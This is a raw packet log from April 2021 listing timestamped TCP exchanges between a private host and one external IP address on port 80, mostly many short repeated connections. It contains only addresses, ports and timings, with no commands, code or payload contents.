Apr 28, 2021 23:25:15.932225943 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.932347059 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.011243105 CEST	50395	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.012346029 CEST	50397	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.104854107 CEST	80	50395	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:16.104952097 CEST	50395	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.111942053 CEST	80	50397	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:16.112046003 CEST	50397	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.112648010 CEST	50397	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.212482929 CEST	80	50397	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:16.216366053 CEST	80	50397	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:16.216485023 CEST	50397	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.325639963 CEST	50397	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.327244043 CEST	50398	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.425379038 CEST	80	50397	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:16.425539017 CEST	50397	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.427325010 CEST	80	50398	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:16.427485943 CEST	50398	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.428095102 CEST	50398	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.528140068 CEST	80	50398	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:16.531733990 CEST	80	50398	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:16.531847954 CEST	50398	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.637559891 CEST	50398	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.639012098 CEST	50399	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.738362074 CEST	80	50399	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:16.738420963 CEST	80	50398	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:16.738531113 CEST	50399	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.738612890 CEST	50398	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.739659071 CEST	50399	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.839755058 CEST	80	50399	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:16.843791008 CEST	80	50399	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:16.843916893 CEST	50399	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.949392080 CEST	50399	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:16.952085018 CEST	50401	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.045195103 CEST	80	50399	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:17.045299053 CEST	50399	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.049365997 CEST	80	50401	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:17.049504995 CEST	50401	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.050595045 CEST	50401	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.147828102 CEST	80	50401	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:17.151510954 CEST	80	50401	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:17.151782990 CEST	50401	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.262106895 CEST	50401	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.264677048 CEST	50402	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.359499931 CEST	80	50401	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:17.359633923 CEST	50401	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.373183966 CEST	80	50402	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:17.373406887 CEST	50402	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.373888969 CEST	50402	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.482307911 CEST	80	50402	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:17.485619068 CEST	80	50402	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:17.485796928 CEST	50402	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.590524912 CEST	50402	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.593115091 CEST	50403	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.688173056 CEST	80	50403	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:17.688299894 CEST	50403	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.688875914 CEST	50403	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.699081898 CEST	80	50402	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:17.699191093 CEST	50402	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.785371065 CEST	80	50403	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:17.789074898 CEST	80	50403	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:17.789254904 CEST	50403	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.906572104 CEST	50403	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:17.907906055 CEST	50404	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.002039909 CEST	80	50403	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.002274990 CEST	50403	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.005099058 CEST	80	50404	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.005371094 CEST	50404	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.006277084 CEST	50404	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.103668928 CEST	80	50404	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.108026028 CEST	80	50404	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.108165026 CEST	50404	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.132402897 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.215361118 CEST	50404	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.217909098 CEST	50406	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.227674007 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.227936983 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.228264093 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.312721968 CEST	80	50404	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.312789917 CEST	50404	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.317789078 CEST	80	50406	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.317857981 CEST	50406	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.318334103 CEST	50406	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.323728085 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.323793888 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.323877096 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.323925972 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.323956966 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.324003935 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.324323893 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.324382067 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.324477911 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.324521065 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.324717999 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.324767113 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.324809074 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.324852943 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.324965000 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.325014114 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.325125933 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.325172901 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.420538902 CEST	80	50406	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.420624971 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.420654058 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.420756102 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.420805931 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.420893908 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.420948982 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.420984983 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.421011925 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.421019077 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.421039104 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.421047926 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.421075106 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.421102047 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.421117067 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.421513081 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.421577930 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.421677113 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.421706915 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.421730995 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.421766043 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.421789885 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.421823025 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.423861980 CEST	80	50406	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.423962116 CEST	50406	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.516441107 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.516498089 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.516539097 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.516575098 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.516587973 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.516617060 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.516623020 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.516658068 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.516674995 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.516690969 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.516705036 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.516725063 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.516733885 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.516750097 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.516789913 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.516978979 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.517018080 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.517038107 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.517056942 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.517112017 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.517138958 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.517220020 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.517311096 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.517431974 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.517476082 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.517508030 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.517522097 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.517543077 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.517560959 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.517581940 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.517616987 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.517661095 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.517724991 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.517877102 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.517920971 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.517946005 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.517961979 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.517990112 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.591598988 CEST	50406	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.593300104 CEST	50407	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.613066912 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.613101959 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.613449097 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.613662958 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.613909960 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.614083052 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.614679098 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.614764929 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.614784002 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.614801884 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.614913940 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.614938021 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.615423918 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.615443945 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.615456104 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.615621090 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.615886927 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.615907907 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.616080999 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.616286039 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.616302013 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.616636038 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.616766930 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.616842985 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.617784977 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.617804050 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.617921114 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.618160009 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.619802952 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.620107889 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.691443920 CEST	80	50406	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.691562891 CEST	50406	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.692399979 CEST	80	50407	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.692487955 CEST	50407	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.693248034 CEST	50407	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.715042114 CEST	80	50405	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.715111017 CEST	50405	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.793194056 CEST	80	50407	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.797338963 CEST	80	50407	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:18.797444105 CEST	50407	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.904699087 CEST	50407	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:18.905864954 CEST	50409	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.001679897 CEST	80	50409	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:19.001796961 CEST	50409	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.003554106 CEST	50409	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.005937099 CEST	80	50407	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:19.006021023 CEST	50407	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.097354889 CEST	80	50409	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:19.101907015 CEST	80	50409	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:19.101977110 CEST	50409	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.218467951 CEST	50409	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.219593048 CEST	50410	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.312048912 CEST	80	50409	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:19.312124014 CEST	50409	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.317039013 CEST	80	50410	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:19.317150116 CEST	50410	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.319912910 CEST	50410	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.417264938 CEST	80	50410	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:19.423474073 CEST	80	50410	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:19.423614979 CEST	50410	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.795205116 CEST	50410	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.796338081 CEST	50412	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.890686035 CEST	80	50410	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:19.890834093 CEST	50410	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.891654015 CEST	80	50412	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:19.891773939 CEST	50412	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.892923117 CEST	50412	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:19.989520073 CEST	80	50412	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:19.993230104 CEST	80	50412	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:19.993355989 CEST	50412	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:20.136298895 CEST	50412	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:20.231523991 CEST	80	50412	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:20.232203007 CEST	50412	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:20.941919088 CEST	50413	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.037859917 CEST	80	50413	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.038017035 CEST	50413	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.039566040 CEST	50413	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.134625912 CEST	80	50413	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.138809919 CEST	80	50413	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.138962030 CEST	50413	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.198690891 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.277606964 CEST	50413	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.292851925 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.292995930 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.293459892 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.297053099 CEST	50415	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.374985933 CEST	80	50413	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.375184059 CEST	50413	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.389451981 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.389487028 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.389512062 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.389658928 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.389717102 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.389813900 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.389919996 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.389983892 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.390084982 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.390366077 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.390475988 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.390486956 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.390516043 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.390592098 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.390769005 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.390873909 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.391025066 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.391132116 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.394495010 CEST	80	50415	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.394735098 CEST	50415	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.395927906 CEST	50415	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.483675003 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.483719110 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.483750105 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.483781099 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.483812094 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.483850956 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.483856916 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.483886957 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.483989954 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.484014988 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.484035015 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.484112024 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.484216928 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.484370947 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.484378099 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.484462976 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.484565020 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.484719038 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.485294104 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.485441923 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.485517979 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.485615969 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.491734028 CEST	80	50415	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.495347023 CEST	80	50415	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.495440006 CEST	50415	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.577744007 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.577797890 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.577827930 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.577852964 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.577877998 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.577960968 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.578006029 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.578090906 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.578207970 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.578330994 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.578373909 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.578403950 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.578509092 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.578510046 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.578634024 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.578670025 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.578696012 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.578784943 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.578802109 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.578900099 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.579020023 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.579106092 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.579372883 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.579467058 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.579525948 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.579550028 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.579667091 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.579706907 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.579735041 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.579760075 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.579808950 CEST	50414	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:21.579864979 CEST	80	50414	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:21.611218929 CEST	50415	80	192.168.2.5	176.111.174.114
